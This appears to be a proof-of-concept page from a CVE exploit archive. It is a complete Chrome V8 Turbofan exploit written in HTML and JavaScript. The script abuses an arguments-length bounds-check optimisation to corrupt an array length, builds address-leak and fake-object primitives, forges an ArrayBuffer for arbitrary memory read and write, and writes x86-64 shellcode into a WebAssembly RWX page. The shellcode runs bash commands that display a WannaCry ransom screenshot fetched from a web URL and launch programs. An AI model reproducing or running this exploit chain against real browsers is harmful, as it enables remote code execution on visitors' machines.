4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_chrome.html HTML
<script src="./int64.js"></script>
<script>

//load("int64.js")
// Use console.log instead of print
let print = (x) => {
      console.log(x);
}

/*
 * In this function we use the length of the arguments to calculate the number 1.
 * Turbofan thinks arguments are limited to a smaller number, so it will optimize
 * out the bounds checks based on our number, giving us oob read/write
 */

//load("int64.js")
function exploit_nday(){
  function opt(arg) {
      let x = arguments.length;
      a1 = new Array(0x10);
      a2 = new Array(2);
      a3 = new Array(2);
      a2[0] = 1.1; 
      a2[1] = 1.1;
      // The distance form the a1 FixedArray of elements and the a2 array is 24, +3 to reach the size
      a1[(x >> 16) * 27] = 1.39064994160909e-309; // 0xffff00000000 --> 65535 0xffff as SMI
  }

  function opt_leak_map(){
      // This one is used to leak Array Buffer Map after GC
      let x = arguments.length;
      a1 = new Array(0x10);
      a2 = new Array(2);
      a3 = new Array(2);
      a2[0] = 1.1; 
      a2[1] = 1.1;
      // The distance form the a1 FixedArray of elements and the a2 array is 24, +3 to reach the size
      a1[(x >> 16) * 27] = 1.39064994160909e-309; // 0xffff00000000 --> 65535 0xffff as SMI
  }


  function addr_of(t_obj){
      a3[0] = t_obj 
      return Int64.from_double(a2[8])
  }

  function obj_at_addr(addr){
      a2[8] = addr.to_double()
      return a3[0] 
  }

  function leak_array_buffer(){
      // This is where we have the Map of ArrayBuffer after GC
      // GC is not so trusty, things can be allocated differntly sometimes in Old Space
      // So instead search for our 1337 length, and check that the 2 values before are the same (empty Property andElement FixedArray)

      for(let i = 0; i < 2000; i++){
          value = Int64.from_double(a2[i])
          //print(i + " : " + value)
          if (value == "0x0000000000000539"){
              print("ArrayBuffer length found at index" + i)
              // Length found, to be sure check that the previous are empty FixedArray
              // Just a paranioc stuff, cuz 539 is not SMI, so any other occurences shoud be done
              if (a2[i-1] == a2[i-2]){
                  print("There are 2 Empty FixedArray, it is out ArrayBuffer! Let's grab the Map*")
                  return [Int64.from_double(a2[i-3]), Int64.from_double(a2[i-1])]
              }
          }

      }
      return false
  }


  function read(address){
          // read to address
          // address should be an Int64("0x41")
          print("Reading at " + address);
          holder.back = address.to_double()
          let n = new Uint32Array(fake)
          let leak = new Int64(0, n[1], n[0]);
          return leak;
  }


  function write(to_address, value){
          // write to address
          // address should be an Int64("0x41")
          print("Writing " + value + " into " +to_address);
          holder.back = to_address.to_double()
          let n = new Uint32Array(fake)
          n[0] = value.low
          n[1] = value.high
          return read(to_address);
  }

  function write_shellcode(to_address, shellcode){
      // Writing shellcode
          print("Writing shellcode @" + to_address);
          holder.back = to_address.to_double()
          let n = new Uint8Array(fake)
      print("Space for the shellcode: " + n.length)
      n.set(SHELLCODE)
      return true
  }

  var a1, a2;
  let small = [1.1];
  let large = [1.1,1.1];
  large.length = 65536;
  large.fill(1.1);

  for (let j = 0; j< 100000; j++) {
      opt.apply(null, small);
  }

  // Trigger bug
  //opt.apply(null, large);

  print("a2 length is " + a2.length)
  print("Corrupting a2 length ..")
  opt.apply(null, large)
  print("Now the a2 length is: " + a2.length)


  // Create a fake object that will be used as an ArrayBuffer to R/W primitives
  /* Example of an ArrayBuffer
      pwndbg> x/12xg 0x3f3d7d6102f9-1
      0x3f3d7d6102f8: 0x000008f20b904461      0x00002a81db502cf1
      0x3f3d7d610308: 0x00002a81db502cf1      0x0000000000000010
      0x3f3d7d610318: 0x000055bb9bc03c20      0x0000000000000002
      0x3f3d7d610328: 0x0000000000000000      0x0000000000000000
  */

  // first we need to leak the Map*

  // xxx is the buffer we want to use to achieve RW
  let xxx = new ArrayBuffer(1337);
  // Trigger GC in order to put our ArrayBuffer in OldSpace
  print("Triggering Garbage Collector to put our Array Buffer in Old Space")
  for(i = 0; i < 1500; i++) new ArrayBuffer(1024);

  // Create a fake object that will be used as an ArrayBuffer to R/W primitives
  /* Example of an ArrayBuffer
      pwndbg> x/12xg 0x3f3d7d6102f9-1
      0x3f3d7d6102f8: 0x000008f20b904461      0x00002a81db502cf1
      0x3f3d7d610308: 0x00002a81db502cf1      0x0000000000000010
      0x3f3d7d610318: 0x000055bb9bc03c20      0x0000000000000002
      0x3f3d7d610328: 0x0000000000000000      0x0000000000000000
  */

  let ab = leak_array_buffer()
  let leaked_map = ab[0]
  let leaked_fixed = ab[1]
  print("Leaked map: " +leaked_map)

  if(leaked_map === undefined || leaked_fixed === undefined){
    throw("ArrayBuffer is not after a2 in Old Space. Exploitation failed")
  }

  let holder = {
      map: leaked_map.to_double(), // Map*
      prop: leaked_fixed.to_double(),  // Prop*
      elem: leaked_fixed.to_double(),  // Elem*
      len: new Int64("0x1000").to_double(), // Byte Length
    back: new Int64("0x414141414141").to_double(), // Backing pointer
      field: new Int64("0x2").to_double(), // Bit field flags
      field2: new Int64("0x0").to_double() // Embedder Field
  }

  // Get the address of our holder
  let holder_adr = addr_of(holder)
  print("holder @"+holder_adr)
  print("Fake Object @"+holder_adr)
  let fake_addr = holder_adr.add(0x18)
  fake = obj_at_addr(fake_addr);
  if(holder_adr === "0x0000000000000000")
    trhow("Failed to leak holder address from addr_of. Exploitation failed")

  // Testing R/W at known address
  /*
  let tmp = new Int64("0x4141414141414141") 
  print(read(leaked_fixed))
  write(leaked_fixed, tmp)
  print(read(leaked_fixed))
  */

  print("Creating a WASM that will create RWX memory")

  // https://wasdk.github.io/WasmFiddle/
  // The WASM code will be never executed, it will be replaced with out shellcode
  var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
  //var wasm_code = new Uint8Array([0x0, 0x61, 0x73,, 41, 41]);
  var wasm_mod = new WebAssembly.Module(wasm_code);
  var wasm_instance = new WebAssembly.Instance(wasm_mod);
  var f = wasm_instance.exports.main;

  // Now we want to leak the WASM RWX address
  // From GDB we see that there is a pointer to the Starting mapped RWX memory at WASMInstance + 0xF0 (240)
  let wasm_addr = addr_of(wasm_instance)
  let wasm_rwx_addr = read(wasm_addr.sub(1).add(0xf0))
  print("WASMInstace @" + wasm_addr)
  print("WASM RWX page @" + wasm_rwx_addr);

  let SHELLCODE = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 44, 98, 1, 1, 129, 52, 36, 1, 1, 1, 1, 73, 137, 224, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 39, 33, 101, 110, 111, 100, 38, 1, 72, 49, 4, 36, 72, 184, 104, 111, 116, 46, 112, 110, 103, 41, 80, 72, 184, 95, 115, 99, 114, 101, 101, 110, 115, 80, 72, 184, 101, 99, 114, 121, 112, 116, 48, 114, 80, 72, 184, 56, 47, 87, 97, 110, 97, 95, 68, 80, 72, 184, 97, 47, 101, 110, 47, 49, 47, 49, 80, 72, 184, 119, 105, 107, 105, 112, 101, 100, 105, 80, 72, 184, 100, 105, 97, 46, 111, 114, 103, 47, 80, 72, 184, 100, 46, 119, 105, 107, 105, 109, 101, 80, 72, 184, 58, 47, 47, 117, 112, 108, 111, 97, 80, 72, 184, 45, 70, 32, 104, 116, 116, 112, 115, 80, 72, 184, 58, 36, 100, 32, 102, 101, 104, 32, 80, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 72, 184, 119, 104, 111, 97, 109, 105, 41, 32, 80, 72, 184, 47, 104, 111, 109, 101, 47, 36, 40, 80, 72, 184, 110, 118, 32, 72, 79, 77, 69, 61, 80, 72, 184, 101, 101, 112, 32, 53, 59, 32, 101, 80, 72, 184, 116, 111, 114, 32, 38, 32, 115, 108, 80, 72, 184, 45, 99, 97, 108, 99, 117, 108, 97, 80, 72, 184, 105, 110, 47, 103, 110, 111, 109, 101, 80, 72, 184, 100, 32, 47, 117, 115, 114, 47, 98, 80, 72, 184, 83, 80, 76, 65, 89, 61, 58, 36, 80, 72, 184, 111, 97, 109, 105, 41, 32, 68, 73, 80, 72, 184, 111, 109, 101, 47, 36, 40, 119, 104, 80, 72, 184, 32, 72, 79, 77, 69, 61, 47, 104, 80, 72, 184, 32, 100, 111, 32, 40, 101, 110, 118, 80, 72, 184, 123, 48, 46, 46, 49, 53, 125, 59, 80, 72, 184, 111, 114, 32, 100, 32, 105, 110, 32, 80, 72, 184, 115, 104, 32, 45, 99, 32, 39, 102, 80, 72, 184, 32, 47, 98, 105, 110, 47, 98, 97, 80, 73, 137, 225, 106, 1, 254, 12, 36, 65, 81, 65, 80, 87, 106, 59, 88, 72, 137, 230, 153, 15, 5]


// Runza exploit
SHELLCODE = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 44, 98, 1, 1, 129, 52, 36, 1, 1, 1, 1, 73, 137, 224, 106, 1, 254, 12, 36, 72, 184, 32, 38, 32, 100, 111, 110, 101, 39, 80, 72, 184, 110, 122, 97, 46, 109, 112, 52, 41, 80, 72, 184, 118, 108, 99, 32, 126, 47, 114, 117, 80, 72, 184, 76, 65, 89, 61, 58, 36, 100, 32, 80, 72, 184, 109, 105, 41, 32, 68, 73, 83, 80, 80, 72, 184, 101, 47, 36, 40, 119, 104, 111, 97, 80, 72, 184, 79, 77, 69, 61, 47, 104, 111, 109, 80, 72, 184, 50, 59, 32, 101, 110, 118, 32, 72, 80, 72, 184, 38, 32, 115, 108, 101, 101, 112, 32, 80, 72, 184, 122, 101, 98, 46, 106, 112, 103, 32, 80, 72, 184, 100, 32, 102, 101, 104, 32, 126, 47, 80, 72, 184, 83, 80, 76, 65, 89, 61, 58, 36, 80, 72, 184, 111, 97, 109, 105, 41, 32, 68, 73, 80, 72, 184, 111, 109, 101, 47, 36, 40, 119, 104, 80, 72, 184, 32, 72, 79, 77, 69, 61, 47, 104, 80, 72, 184, 32, 100, 111, 32, 40, 101, 110, 118, 80, 72, 184, 123, 48, 46, 46, 49, 53, 125, 59, 80, 72, 184, 111, 114, 32, 100, 32, 105, 110, 32, 80, 72, 184, 115, 104, 32, 45, 99, 32, 39, 102, 80, 72, 184, 32, 47, 98, 105, 110, 47, 98, 97, 80, 73, 137, 225, 106, 1, 254, 12, 36, 65, 81, 65, 80, 87, 106, 59, 88, 72, 137, 230, 153, 15, 5]
  //SHELLCODE = [0xcc, 0xcc, 0xcc, 0xcc]
  print("Writing shellcode to WASM RWX page")
  print("Shellcode length: " +SHELLCODE.length)
  write_shellcode(wasm_rwx_addr, SHELLCODE)
  print("Shellcode done, triggering the calc")
  f()
}
</script>

<button onclick="exploit_nday()">Click for exploit</button>